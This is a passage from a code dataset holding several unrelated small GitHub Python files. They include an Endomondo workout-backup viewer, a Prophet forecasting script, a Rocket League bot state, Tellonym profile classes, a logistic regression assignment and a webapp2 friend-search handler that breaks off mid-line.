config.read('endoview.ini')\r\n dd={}\r\n max_workouts = 0\r\n\r\n try:\r\n if 'cache' in config['endoview']:\r\n folder_path = config['endoview']['BackupFolder']\r\n window['-FOLDER-'].update(folder_path)\r\n with open('cache.pkl', 'rb') as f:\r\n dd = pickle.load(f)\r\n max_workouts = len(dd)\r\n with open('index.pkl', 'rb') as f:\r\n indx = pickle.load(f)\r\n updatetable(data, dd, window)\r\n except:\r\n pass\r\n\r\n while True: # Event Loop of main window\r\n event, values = window.read(timeout=100) #trap for strange exception\r\n\r\n if event == sg.TIMEOUT_KEY:\r\n continue\r\n #print(event, values)\r\n if event == sg.WIN_CLOSED or event == 'Exit':\r\n break\r\n elif event == '-FETCH-':\r\n #test if endoworkouts.json file is present\r\n if os.path.isfile(folder_path+'/endoworkouts.json'):\r\n with open(folder_path+'/endoworkouts.json') as p:\r\n comm = json.load(p)\r\n if comm is not None:\r\n updatecomments(dd, comm, indx)\r\n with open(\"cache.pkl\", \"wb\") as write_file:\r\n pickle.dump(dd, write_file, pickle.HIGHEST_PROTOCOL)\r\n updatetable(data, dd, window)\r\n elif event == '-FOLDER-' or (event == 'Submit' and len(values['-FOLDER-'])>0):\r\n folder_path = values['-FOLDER-']\r\n #test if endoworkouts.json file is present\r\n # if os.path.isfile(folder_path+'/endoworkouts.json'):\r\n # with open(folder_path+'/endoworkouts.json') as p:\r\n # dd = json.load(p)\r\n # print('Loading endoworkouts.json')\r\n # distance_key='distance_km'\r\n # duration_key='duration'\r\n # speed_avg_key='speed_avg'\r\n # else:\r\n dd, indx = loadfull(folder_path)\r\n max_workouts = len(dd)\r\n #print('Loading backup! ')\r\n # we have processed database in memory - let's write cache and create config file\r\n config = configparser.ConfigParser()\r\n config['endoview'] = {}\r\n config['endoview']['Cache'] = 'Y' #indicate that we have cached data\r\n config['endoview']['BackupFolder'] = folder_path #save location of Endomondo backup\r\n with open('endoview.ini', 'w') as configfile:\r\n config.write(configfile)\r\n #now store cache to file system\r\n with open(\"cache.pkl\", \"wb\") as write_file:\r\n pickle.dump(dd, write_file, pickle.HIGHEST_PROTOCOL)\r\n with open(\"index.pkl\", \"wb\") as write_file:\r\n pickle.dump(indx, write_file, pickle.HIGHEST_PROTOCOL)\r\n updatetable(data, dd, window)\r\n elif event == '-DATA-':\r\n try:\r\n workout = dd[values['-DATA-'][0]]\r\n window['-SPORT-'].update(workout.get('sport'))\r\n window['-DATE-'].update(workout.get('date'))\r\n window['-STARTTIME-'].update(workout.get('time'))\r\n window['-DURATION-'].update(workout.get('duration'))\r\n window['-DISTANCE-'].update(workout.get('distance'))\r\n window['-PACE-'].update(workout.get('pace'))\r\n window['-ASC-'].update(workout.get('ascend_m'))\r\n window['-DESC-'].update(workout.get('descend_m'))\r\n window['-NOTE-'].update(workout.get('message'))\r\n except (IndexError, KeyError) as err:\r\n print(err)\r\n elif event == '-DATA-+DBL+' or event == '-DATA-+ENTER+':\r\n try:\r\n #in case of double click or ENTER press on specific line - pop up detailed window\r\n workout = dd[values['-DATA-'][0]] # selected workout\r\n #prepare layout for detailed window\r\n #define sizes of the details window TODO: bind to desktop size\r\n win2_width = 1100\r\n win2_height = 100\r\n WIN2_HEIGHT_MAX = 700\r\n\r\n windetails = [\r\n [\r\n FieldColumn(\"Sport: \", '-SPORT-', workout.get('sport')),\r\n FieldColumn(\"Date: \",'-DATE-', workout.get('date')),\r\n FieldColumn(\"Time: \", '-STARTTIME-', workout.get('time')),\r\n FieldColumn(\"Duration: \", '-DURATION-', workout.get('duration')),\r\n FieldColumn(\"Distance: \", '-DISTANCE-', workout.get('distance'))\r\n ],\r\n [\r\n FieldColumn(\"Pace: \", '-PACE-', workout.get('pace')),\r\n FieldColumn(\"Ascent: \", '-ASC-', workout.get('ascend_m')),\r\n FieldColumn(\"Descent: \", '-DESC-', workout.get('descend_m')),\r\n FieldColumn(\"Alt min: \", '-ALTMIN-', workout.get('altitude_min_m')),\r\n FieldColumn(\"Alt max: \", '-ALTMAX-', workout.get('altitude_max_m'))\r\n ],\r\n [\r\n FieldColumn(\"HR AVG: \", '-HAVG-', workout.get('heart_rate_avg_bpm')),\r\n FieldColumn(\"HR MAX: \", '-HMAX-', workout.get('heart_rate_max_bpm')),\r\n FieldColumn(\"Calories: \", '-CAL-', workout.get('calories_kcal')),\r\n FieldColumn(\"Cad AVG: \", '-CADAVG-', workout.get('cadence_avg_rpm')),\r\n FieldColumn(\"Cad MAX: \", '-CADMAX-', workout.get('cadence_max_rpm'))\r\n ],\r\n [\r\n FieldColumn(\"Speed AVG: \", '-SPAVG-', workout.get('speed')),\r\n FieldColumn(\"Speed MAX: \", '-SPMAX-', workout.get('speed_max')),\r\n ]\r\n ]\r\n msg = workout.get('message')\r\n lennote = 0 if msg is None else len(msg) #find out length of text note\r\n if lennote>0: # if there is note in workout - add text field and fill it with note\r\n #nlines = msg.count('\\n')+1\r\n lines = msg.split(\"\\n\")\r\n nlines = 0\r\n for oneline in lines:\r\n nlines += int(len(oneline)/165) + 1 # text breaks at about 165 chars in average\r\n nheight = int(lennote/150)+1\r\n if nlines < nheight:\r\n nlines = nheight\r\n windetails += [[sg.Frame('Note', [[sg.Text(msg, key='-NOTE-', size=(int(win2_width/8), nlines))]])]]\r\n win2_height += nlines*8+50 #extend height of the window\r\n\r\n #check if there are pictures posted to the workout and add layout to the window\r\n pict = workout.get('pictures')\r\n if pict is not None:\r\n linewidth = 0\r\n imgline = []\r\n for i in range(0, len(pict)):\r\n # try:\r\n try:\r\n url = pict[i][1].get('picture')[0][0].get('url')\r\n data, (imgwidth, imgheight) = get_img_data(folder_path+'/'+url, first=True)\r\n except KeyError:\r\n url = pict[i].get('picture_file')\r\n data, (imgwidth, imgheight) = get_img_data(os.path.join(folder_path, 'Images', \r\n os.path.split(url)[1]), first=True)\r\n if linewidth + imgwidth > win2_width:\r\n windetails += [imgline]\r\n win2_height += imgheight+50\r\n imgline = []\r\n linewidth = 0\r\n imgline.append(sg.Image(key='-IMAGE'+str(i)+'-', data=data))\r\n linewidth += imgwidth\r\n if imgline !=[]:\r\n windetails += [imgline]\r\n win2_height += imgheight+50\r\n # except Exception as err:\r\n # print(\"Images exception: \", err)\r\n # break\r\n \r\n #create comments section\r\n comm_num = workout.get('num_comments')\r\n if comm_num !='':\r\n try:\r\n comment = workout.get('ecomments').get('data')\r\n except AttributeError:\r\n comment = workout.get('comments').get('data')\r\n \r\n for i in range(len(comment)):\r\n comtext = comment[i]['text']\r\n lines = comtext.split(\"\\n\")\r\n nlines = 0\r\n for oneline in lines:\r\n nlines += int(len(oneline)/100) + 1 # text breaks at about 165 chars in average\r\n #comh = int(len(comtext)/100)+1 #height of the comment cell to fit the comment\r\n comh = nlines\r\n frame_layout = [[sg.Text(emoji.get_emoji_regexp().sub(r'',comment[i]['from']['name'])+':', size=(20, comh)), \r\n sg.Text(emoji.get_emoji_regexp().sub(r'',comtext), size=(100, comh), pad=(0,0))]]\r\n windetails += frame_layout\r\n win2_height += 28 #TODO: add height depending on comment height\r\n\r\n win2_height = WIN2_HEIGHT_MAX if win2_height > WIN2_HEIGHT_MAX else win2_height\r\n\r\n win2layout = [[sg.Column(windetails, scrollable=True, vertical_scroll_only=True, size=(win2_width, win2_height))]]\r\n win2 = sg.Window('Workout detail', win2layout, finalize=True, modal=True)\r\n win2.bind('', '+ESC+')\r\n win2.bind('', '+ENTER+')\r\n\r\n while True: # Event Loop\r\n ev2, val2 = win2.read(timeout=100) #timeout for debugger\r\n if ev2 == sg.TIMEOUT_KEY:\r\n continue\r\n if ev2 == sg.WIN_CLOSED or ev2=='+ESC+' or ev2=='+ENTER+':\r\n break\r\n win2.close()\r\n del win2layout\r\n del win2\r\n del windetails\r\n except (IndexError, KeyError) as err:\r\n print(err)\r\n pass\r\n\r\n window.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"dimakor/endoview","sub_path":"endoview.py","file_name":"endoview.py","file_ext":"py","file_size_in_byte":22790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5714625589","text":"# Imports the system and name attributes from the os module\n# to clear the screen before our final output prints\nfrom os import system, name\n\nnameList = []\npersonName = \"\"\nattempt = False\n\nwhile personName != \"Stop\":\n if attempt == False:\n print(\"Enter names. Enter Stop to stop. \")\n attempt = True\n else:\n personName = input(\"\").capitalize()\n nameList.append(personName)\n\nnameList.remove(\"Stop\")\nnameList.sort()\n\n# Checks the operating system's name to determine\n# which command is pushed to the system\nif name == \"nt\":\n system(\"cls\")\nelse:\n system(\"clear\")\n\nprint(\"The names entered, in order, were: \")\n\nfor listItem in nameList:\n print(listItem)","repo_name":"khalleu/python-labs","sub_path":"nameList.py","file_name":"nameList.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4202256475","text":"from prophet import Prophet\nfrom multiprocessing import Pool\nfrom data import load_dataset\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nimport pickle\n\n\ndef get_prediction(dataset, key, params):\n dataset[key][\"y\"] = np.log(dataset[key][\"y\"])\n scaler = StandardScaler()\n dataset[key][\"y\"] = scaler.fit_transform(dataset[key][[\"y\"]])\n\n cap = dataset[key][\"y\"].max() * params[\"multiplier\"]\n floor = dataset[key][\"y\"].min() * params[\"multiplier\"]\n del params[\"multiplier\"]\n\n dataset[key][\"cap\"] = cap # No cap 🧢\n if (params[\"withFloor\"]):\n dataset[key][\"floor\"] = floor\n del params[\"withFloor\"]\n\n m = Prophet(**params)\n m.fit(dataset[key])\n\n future = m.make_future_dataframe(periods=5000)\n future[\"cap\"] = cap\n if (\"floor\" in dataset[key]):\n future[\"floor\"] = floor\n\n forecast = m.predict(future)\n\n fig1 = m.plot(forecast)\n fig2 = m.plot_components(forecast)\n\n fig1.savefig(f\"./images/fig1_{key}.png\")\n fig2.savefig(f\"./images/fig2_{key}.png\")\n\n return (m, forecast)\n\n\nif __name__ == \"__main__\":\n dataset = load_dataset()\n params = pickle.load(open(\"./params.dict\", \"rb\"))\n\n with Pool(processes=4) as pool:\n results = pool.starmap(\n get_prediction, [(dataset, key, params) for key in dataset.keys()]\n )\n\n for m, forecast in results:\n fig1 = m.plot(forecast)\n fig2 = m.plot_components(forecast)\n\n pool.terminate()\n","repo_name":"mbledkowski/digital_storage_forecasting","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8194601071","text":"def add_two_numbers(digits_1: list[int], digits_2: list[int]) -> list[int]:\n \"\"\" Add the two numbers represented by their digits list\n\n Args:\n digits_1: The list of digits of the first number, in reverse order\n digits_2: The list of digits of the second number, in reverse order\n Returns:\n The list of digits of the sum of the two numbers, in reverse order\n \"\"\"\n n = len(digits_1)\n m = len(digits_2)\n\n if n <= 0 or m <= 0:\n raise ValueError\n\n unfinished_digits = [digits_1, digits_2]\n max_length = max(n, m)\n\n i = 0\n\n carrying = False\n digits_result = []\n\n while i < max_length:\n digits = [digit_list[i] for digit_list in unfinished_digits]\n\n total_result = sum(digits)\n if carrying:\n total_result += 1\n\n if total_result >= 10:\n carrying = True\n else:\n carrying = False\n\n d_result = total_result % 10\n digits_result.append(d_result)\n\n i += 1\n\n for digit_list in unfinished_digits:\n if len(digit_list) <= i:\n unfinished_digits.remove(digit_list)\n\n if carrying:\n digits_result.append(1)\n\n return digits_result\n","repo_name":"GautierBlandin/leetcode","sub_path":"medium/add_two_numbers.py","file_name":"add_two_numbers.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9810185562","text":"from enum import Enum\n\nfrom IAmHuman.state import State\nfrom IAmHuman.util import *\nfrom IAmHuman.mathf import *\n\nfrom rlbot.agents.base_agent import SimpleControllerState\n\n\nclass PowerSlide(State):\n def __init__(self):\n self.start = 0\n self.angle_to_target = 0\n self.level = PowerSlideLevel.NORMAL\n\n def debug_render(self, agent):\n agent.renderer.draw_line_3d(agent.me.location.data, agent.get_target_pos().data,\n agent.renderer.create_color(255, 0, 0, 255))\n agent.renderer.draw_rect_3d(agent.me.location.data, 150,\n 20, True, agent.renderer.black())\n agent.renderer.draw_string_3d(agent.me.location.data, 1,\n 1, str(self.angle_to_target), agent.renderer.white())\n\n def activate(self, agent):\n self.start = agent.game_info.seconds_elapsed\n local_target = calc_local_vector(agent.get_target_pos() - agent.me.location, agent.me.rotation_matrix)\n self.angle_to_target = math.atan2(local_target.data[1], local_target.data[0])\n print(self.angle_to_target)\n if abs(self.angle_to_target) >= 2.9:\n self.level = PowerSlideLevel.U_TURN\n\n def execute(self, agent):\n local_target = calc_local_vector(agent.get_target_pos() - agent.me.location, agent.me.rotation_matrix)\n self.angle_to_target = math.atan2(local_target.data[1], local_target.data[0])\n\n if agent.me.has_wheel_contact is False \\\n or (-0.3 <= self.angle_to_target <= 0.3 and -0.7 <= agent.me.angular_velocity.data[2] <= 0.7) \\\n or agent.game_info.seconds_elapsed - self.start > 4:\n agent.brain.pop_only()\n\n return self.controller(agent, self.angle_to_target)\n\n def controller(self, agent, angle):\n controller_state = SimpleControllerState()\n\n steer_value = steer(angle)\n controller_state.steer = steer_value\n controller_state.throttle = 1\n controller_state.handbrake = True\n\n if self.level == PowerSlideLevel.NORMAL:\n balance_threshold = 0.25 * abs(agent.me.angular_velocity.data[2]) ** 2 + 0.05\n\n if balance_threshold * -1 <= angle <= balance_threshold:\n controller_state.handbrake = False\n controller_state.boost = True\n if abs(agent.me.angular_velocity.data[2]) >= 0.15:\n controller_state.steer = sign(agent.me.angular_velocity.data[2]) * -1\n else:\n controller_state.steer = 0\n elif self.level == PowerSlideLevel.U_TURN:\n if abs(angle) < 1.15:\n controller_state.steer = steer_value * -1\n controller_state.throttle = -1\n controller_state.handbrake = False\n controller_state.boost = False\n\n if abs(angle) < 0.15:\n controller_state.steer = 0\n\n return controller_state\n\n def terminate(self, agent):\n pass\n\n\nclass PowerSlideLevel(Enum):\n NORMAL = 1\n U_TURN = 2\n","repo_name":"atalantus/IAmHuman","sub_path":"states/power_slide.py","file_name":"power_slide.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"23656145411","text":"# tellonym scraper base classes\n# ef1500\n# UNFINISHED\n\nfrom dataclasses import dataclass\nimport json\n\nAPI_URL = \"https://api.tellonym.me/profiles/name/\"\n# Known Issues: Does not get all posts, only the first 10\n\nclass tellonym_post:\n \n def __init__(self, jsonObj):\n self.type = jsonObj[\"type\"]\n self.postType = jsonObj[\"postType\"]\n self.id = jsonObj[\"id\"]\n self.answer = jsonObj[\"answer\"]\n self.likesCount = jsonObj[\"likesCount\"]\n self.created_at = jsonObj[\"createdAt\"]\n self.tell = jsonObj[\"tell\"]\n self.isLiked = jsonObj[\"isLiked\"]\n self.userId = jsonObj[\"userId\"]\n self.sender = jsonObj[\"sender\"]\n self.isCurrentUserTellSender = jsonObj[\"isCurrentUserTellSender\"]\n self.media = jsonObj[\"media\"]\n self.pointsKarma = jsonObj[\"pointsKarma\"]\n self.rtType = jsonObj[\"rtType\"]\n self.rtVariance = jsonObj[\"rtVariance\"]\n \n self.likeCount = jsonObj[\"likes\"][\"count\"]\n self.like_isLiked = jsonObj[\"likes\"][\"isLiked\"]\n self.isLikedBySender = jsonObj[\"likes\"][\"isLikedBySender\"]\n self.previewUsers = jsonObj[\"likes\"][\"previewUsers\"] # This is the form of a list\n \n@dataclass\nclass tellonym_links:\n link_id: int\n status: int\n linktype: int\n link: str\n \n@dataclass\nclass tellonym_avatars:\n avatarFileName: str\n position: int\n \nclass tellonym_profile:\n \n def __init__(self, jsonObj):\n self.avatar = jsonObj[\"avatarFileName\"]\n self.followerCount = jsonObj[\"followerCount\"]\n self.anonymousFollowerCount = jsonObj[\"anonymousFollowerCount\"]\n self.followingCount = jsonObj[\"followingCount\"]\n self.userId = jsonObj[\"id\"]\n self.display_name = jsonObj[\"displayName\"]\n self.username = jsonObj[\"username\"]\n self.aboutMe = jsonObj[\"aboutMe\"]\n self.likesCount = jsonObj[\"likesCount\"]\n self.answerCount = jsonObj[\"answerCount\"]\n self.tellCount = jsonObj[\"tellCount\"]\n self.isAbleToChat = jsonObj[\"isAbleToChat\"]\n #self.pinnedPosts = jsonObj[\"pinnedPosts\"] # This is also a list\n self.tintColor = jsonObj[\"tintColor\"]\n self.badge = jsonObj[\"badge\"]\n self.statusEmoji = jsonObj[\"statusEmoji\"]\n self.followNotificationType = jsonObj[\"followNotificationType\"] # Data Exposure Vulner\n self.isVerified = jsonObj[\"isVerified\"]\n self.isBlockedBy = jsonObj[\"isBlockedBy\"]\n self.countryCode = jsonObj[\"countryCode\"]\n self.isActive = jsonObj[\"isActive\"]\n \n self.linkData = list(map(lambda id, status, link_type, link: tellonym_links(id, status, link_type, link), jsonObj[\"linkData\"]))\n self.pinnedPosts = list(map(lambda jsonobj: tellonym_post(jsonobj), jsonObj[\"pinnedPosts\"]))\n self.avatars = list(map(lambda avatarfilename, position: tellonym_avatars(avatarfilename, position), jsonObj[\"avatars\"]))\n ","repo_name":"ef1500/elirascrape","sub_path":"base_classes/tellonym.py","file_name":"tellonym.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39309328114","text":"# Conversion from kilo to pound\r\n\r\n# Taking input\r\nkilo = input(\"Enter the weight in kilo : \")\r\nkilo = float(kilo)\r\n\r\n# Conversion\r\nconv_fact = 2.2\r\npound = conv_fact * kilo\r\n\r\n# Output\r\nprint(kilo, \" KILO is equivalent to \", pound, \" POUND\")\r\n","repo_name":"samiuluofc/Python-Code-Snippets","sub_path":"CPSC 217_Fall16/week2/week2_tut1_codes/code4.py","file_name":"code4.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34934610635","text":"import numpy as np\nfrom matplotlib import pyplot\nfrom scipy.optimize import fmin_l_bfgs_b\nimport math\n\n\ndef draw_decision(X, y, classifier, at1, at2, grid=50):\n points = np.take(X, [at1, at2], axis=1)\n maxx, maxy = np.max(points, axis=0)\n minx, miny = np.min(points, axis=0)\n difx = maxx - minx\n dify = maxy - miny\n maxx += 0.02 * difx\n minx -= 0.02 * difx\n maxy += 0.02 * dify\n miny -= 0.02 * dify\n\n pyplot.figure(figsize=(8, 8))\n\n for c,(x,y) in zip(y,points):\n pyplot.text(x, y, str(c), ha=\"center\", va=\"center\")\n pyplot.scatter([x], [y], c=[\"b\", \"r\"][int(c) != 0], s=200)\n\n num = grid\n prob = np.zeros([num, num])\n for xi, x in enumerate(np.linspace(minx, maxx, num=num)):\n for yi, y in enumerate(np.linspace(miny, maxy, num=num)):\n # probability of the closest example\n diff = points - np.array([x, y])\n dists = (diff[:, 0]**2 + diff[:, 1]**2)**0.5 # euclidean\n ind = np.argsort(dists)\n prob[yi,xi] = classifier(X[ind[0]])[1]\n\n pyplot.imshow(prob, extent=(minx, maxx, maxy, miny), cmap=\"seismic\")\n\n pyplot.xlim(minx, maxx)\n pyplot.ylim(miny, maxy)\n pyplot.xlabel(at1)\n pyplot.ylabel(at2)\n\n pyplot.show()\n\ndef transformProb(results, threshold=0.5):\n r=[]\n for i in range(len(results)):\n if results[i][1]>=threshold:\n r.append(1)\n else:\n r.append(0)\n return r\n\ndef load(name):\n \"\"\"\n Odpri datoteko. Vrni matriko primerov (stolpci so znacilke)\n in vektor razredov.\n \"\"\"\n data = np.loadtxt(name)\n X, y = data[:, :-1], data[:, -1].astype(np.int)\n return X, y\n\n\ndef h(x, theta):\n \"\"\"\n Napovej verjetnost za razred 1 glede na podan primer (vektor vrednosti\n znacilk) in vektor napovednih koeficientov theta.\n \"\"\"\n # ... dopolnite (naloga 1)\n\n return 1/(1+np.exp(-np.dot(theta, x)))\n #return math.exp(np.dot(theta, x))/(1+math.exp(-np.dot(theta, x)))\n\ndef cost(theta, X, y, lambda_):\n \"\"\"\n Vrednost cenilne funkcije.\n \"\"\"\n # ... dopolnite (naloga 1, naloga 2)\n\n sum=0.0\n for i in range(len(X)):\n sum=sum+(y[i]*np.log(h(X[i],theta))+(1-y[i])*np.log(1-h(X[i],theta)))\n sumT=0.0\n for j in range(len(X[0])):\n sumT=sumT+theta[j]**2\n sumT = 2 * lambda_ * sumT / len(X[0])\n return (-sum + sumT)/ len(X)\n\ndef grad(theta, X, y, lambda_):\n \"\"\"\n Odvod cenilne funkcije. Vrne 1D numpy array v velikosti vektorja theta.\n \"\"\"\n # ... dopolnite (naloga 1, naloga 2)\n\n grad=np.zeros(len(X[0]))\n for i in range(len(X[0])):\n sum=0.0\n for j in range(len(X)):\n sum=sum+(y[j]-h(X[j],theta))*X[j][i]\n grad[i]=(-sum + 2*lambda_*(theta[i]*2)/len(X[0]))/len(X)\n\n return grad\n\n\ndef num_grad(theta, X, y, lambda_):\n \"\"\"\n Odvod cenilne funkcije izracunan numericno.\n Vrne numpyev vektor v velikosti vektorja theta.\n Za racunanje gradienta numericno uporabite funkcijo cost.\n \"\"\"\n # ... dopolnite (naloga 1, naloga 2)\n # uses the formula (f(x+h)-f(x-h))/2*h where f is cost function, x is thetai, and h is something small\n num_grad = np.zeros(len(X[0]))\n h=0.00001\n for i in range(len(X[0])):\n t1=np.copy(theta)\n t2=np.copy(theta)\n t1[i]=theta[i]-h\n t2[i]=theta[i]+h\n num_grad[i]=(cost(t2,X,y,lambda_)-cost(t1,X,y,lambda_))/(2*h)\n\n return num_grad\n\nclass LogRegClassifier(object):\n\n def __init__(self, th):\n self.th = th\n\n def __call__(self, x):\n \"\"\"\n Napovej razred za vektor vrednosti znacilk. Vrni\n seznam [ verjetnost_razreda_0, verjetnost_razreda_1 ].\n \"\"\"\n x = np.hstack(([1.], x))\n p1 = h(x, self.th) # verjetno razreda 1\n return [1-p1, p1]\n\n\nclass LogRegLearner(object):\n\n def __init__(self, lambda_=0.0):\n self.lambda_ = lambda_\n\n def __call__(self, X, y):\n \"\"\"\n Zgradi napovedni model za ucne podatke X z razredi y.\n \"\"\"\n X = np.hstack((np.ones((len(X),1)), X))\n\n # optimizacija\n theta = fmin_l_bfgs_b(\n cost,\n x0=np.zeros(X.shape[1]),\n args=(X, y, self.lambda_),\n fprime=grad)[0]\n\n return LogRegClassifier(theta)\n\n\ndef test_learning(learner, X, y):\n \"\"\" vrne napovedi za iste primere, kot so bili uporabljeni pri učenju.\n To je napačen način ocenjevanja uspešnosti!\n\n Primer klica:\n res = test_learning(LogRegLearner(lambda_=0.0), X, y)\n \"\"\"\n c = learner(X,y)\n results = [c(x) for x in X]\n\n return results\n\ndef test_cv(learner, X, y, k=5):\n # print('X', X)\n # print('y', y)\n \"\"\"\"\n Primer klica:\n res = test_cv(LogRegLearner(lambda_=0.0), X, y)\n ... dopolnite (naloga 3)\n \"\"\"\n rows, columns = X.shape\n shuffled = np.random.permutation(rows) #we take a random permutation with as many elements as there are examples in X\n sets = np.array_split(shuffled,k) #we split that array of indexes in k-many sets\n predictions = np.zeros((rows,2))\n iterations = 0\n for i in range(k):\n indexes = [j for j in shuffled if not j in sets[i]] #we take all indexes from shuffled except those that are in the set 'sets[i]'\n Xtrain = X[indexes,:]\n ytrain = y[indexes]\n Xtest = X[sets[i],:]\n classifier = learner(Xtrain,ytrain)\n for j in range(len(sets[i])):\n predictions[shuffled[iterations]] = classifier(Xtest[j])\n iterations = iterations + 1\n return predictions\n\ndef CA(real, predictions):\n p=transformProb(predictions)\n counter=0 #counts how many of the predictions are equal to the real values\n for i in range(len(predictions)):\n if real[i]==p[i]:\n counter=counter+1\n\n return counter/len(predictions)\n\ndef TPR(real, predictions, threshold):\n p=transformProb(predictions, threshold)\n counterP=0 #how many positivies there are in the real values\n counterTP=0 #how many positivies were correctly predicted\n for i in range(len(predictions)):\n if real[i]==1:\n counterP=counterP+1\n if p[i]==1:\n counterTP=counterTP+1\n\n if counterP == 0:\n return 0\n\n return counterTP / counterP\n\ndef FPR(real, predictions, threshold):\n p = transformProb(predictions, threshold)\n counterN = 0 #how many negatives there are in the real values\n counterFP = 0 #how many positivies were wrongly predicted\n for i in range(len(predictions)):\n if real[i] == 0:\n counterN = counterN + 1\n if p[i] == 1:\n counterFP = counterFP + 1\n\n if counterN == 0:\n return 0\n\n return counterFP / counterN\n\ndef lengthOfSide(x1, y1, x2, y2): #calculates the distance between 2 points\n return math.sqrt((x2-x1)**2+(y2-y1)**2)\n\ndef area(x1,y1,x2,y2): #calculates a part of the total area under the ROC curve, the part is in a\n #form of a triangle and a rectangle together, (x1,y1) is always a point before (x2, y2)\n # the triangle has the points (x1,y1), (x2,y1) and (x2,y2)\n # area of a triangle: a*h/2\n # the rectangle has the points (x1, 0), (x2,0), (x1,y1) and (x2, y1)\n # area of a rectangle a*b\n a = lengthOfSide(x1, y1, x2, y1)\n b = lengthOfSide(x1, 0, x1, y1)\n h = lengthOfSide(x2, y1, x2, y2)\n return a*h/2 + a*b\n\ndef AUC(real, predictions):\n #predictions=np.concatenate([predictions,real], axis=1)\n predictions = np.column_stack((predictions,real))\n predictions = predictions[predictions[:, 0].argsort()]\n #print(predictions[:,2])\n # we put real and predictions into one matrix, and then we sort the whole matrix in ascending order by the first column\n x=[0]\n y=[0]\n # x and y are the coordinates (TPR, FPR) for each threshold and on the beginning we have (0,0) for threshold 1, and on the end (1,1) for threshold 0\n for i in range(len(predictions)):\n x.append(FPR(predictions[:,2],predictions,predictions[i][1]))\n y.append(TPR(predictions[:,2],predictions,predictions[i][1]))\n #print(\"X: \")\n #print(x)\n #print(\"Y: \")\n #print(y)\n pyplot.plot(x, y)\n pyplot.xlabel('FPR')\n pyplot.ylabel('TPR')\n pyplot.title('ROC')\n pyplot.show()\n\n sum=0.0\n for i in range(1, len(x)):\n sum=sum+area(x[i-1], y[i-1], x[i], y[i])\n\n return sum\n\ndef del2():\n X, y = load('reg.data')\n\n learner1 = LogRegLearner(lambda_=0.00001)\n classifier1 = learner1(X, y)\n draw_decision(X, y, classifier1, 0, 1)\n\n learner2 = LogRegLearner(lambda_=0.1)\n classifier2 = learner2(X, y)\n draw_decision(X, y, classifier2, 0, 1)\n\n learner3 = LogRegLearner(lambda_=0.6)\n classifier3 = learner3(X, y)\n draw_decision(X, y, classifier3, 0, 1)\n\n\ndef del3():\n X, y = load('reg.data')\n\n lambdas=[0.00001, 0.0001, 0.001, 0.01, 0.1]\n for l in lambdas:\n learner=LogRegLearner(lambda_=l)\n predictionsTL=test_learning(learner, X, y) #list of predictions gotten with test_learning\n predictionsTCV=test_cv(learner, X, y, 5) #list of predictions gotten with test_cv\n print(\"lambda =\", l)\n print(\"Tocnost z test_learning:\", CA(y,predictionsTL))\n print(\"Tocnost z test_cv:\", CA(y, predictionsTCV), flush=True)\n\ndef del4():\n #odpiranje GDS350\n X, y = load('GDS360.data')\n #print(X)\n #print(y)\n #print(X.shape, y.shape)\n #print(X, y)\n learner=LogRegLearner(lambda_=0.0)\n predictions=test_cv(learner, X, y, 5)\n #print(predictions)\n auc=AUC(y, predictions)\n print(\"The area under the curve is:\", auc)\n\n\ndef del5():\n # ... dopolnite\n pass\n\n\nif __name__ == \"__main__\":\n X, y = load('reg.data')\n \"\"\"\n # Primer uporabe, ki bo delal, ko implementirate cost in grad\n\n learner = LogRegLearner(lambda_=0.0)\n classifier = learner(X, y) # dobimo model\n\n napoved = classifier(X[0]) # napoved za prvi primer\n print(napoved)\n\n # izris odlocitev\n draw_decision(X, y, classifier, 0, 1)\n \"\"\"\n\n # testing of del1\n # Če gradnjo modela logistične regresije brez regularizacije (lambda=0) poženete na celotnih podatkih reg.data, vam\n # mora zgrajen model vse primere uvrstiti prav tako, kot je zapisano v reg.data.\n results = test_learning(LogRegLearner(lambda_=0.0), X, y)\n print(np.array_equal(transformProb(results), y))\n #print(transformProb(results))\n #print(y)\n\n del2()\n del3()\n del4()\n\n","repo_name":"amiteva/Data-Mining","sub_path":"LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":10412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34464358450","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport webapp2\r\nimport google.appengine.ext.ndb as ndb\r\nimport copy\r\n\r\nfrom webapp2_extras import jinja2\r\nfrom handlers.elements.sessions import BaseHandler\r\nfrom handlers.lang.spa import lang as spa\r\nfrom handlers.lang.eng import lang as eng\r\nfrom models.db import User, Friend, ComicBook\r\n\r\n\r\n\"\"\" Search handler in the friends home page \r\n Get: redirect to the friends home page\r\n Post: it's responsible for searching an user\"\"\"\r\nclass SearchFriendHandler(BaseHandler):\r\n\r\n # List all friends\r\n def get(self):\r\n self.redirect(\"/friends\")\r\n\r\n # Search an user\r\n def post(self):\r\n jinja = jinja2.get_jinja2(app=self.app)\r\n\r\n # Check if the client is logged in. If it's logged in, show the home page\r\n if self.session.get('session_role') == 'client':\r\n user = User.query(User.name == self.session.get(\"session_name\")).fetch() # Current user\r\n # Get the friend id\r\n search = self.request.get(\"search\", \"\")\r\n\r\n # If users exists, get friends and friends requests\r\n if user and len(user) > 0:\r\n user = user[0]\r\n all_comics = ComicBook.query()\r\n comics = copy.copy(all_comics)\r\n comics = comics.filter(ComicBook.users.username == self.session.get(\"session_name\")).fetch()\r\n all_comics = all_comics.fetch()\r\n all_users = User.query(User.role == 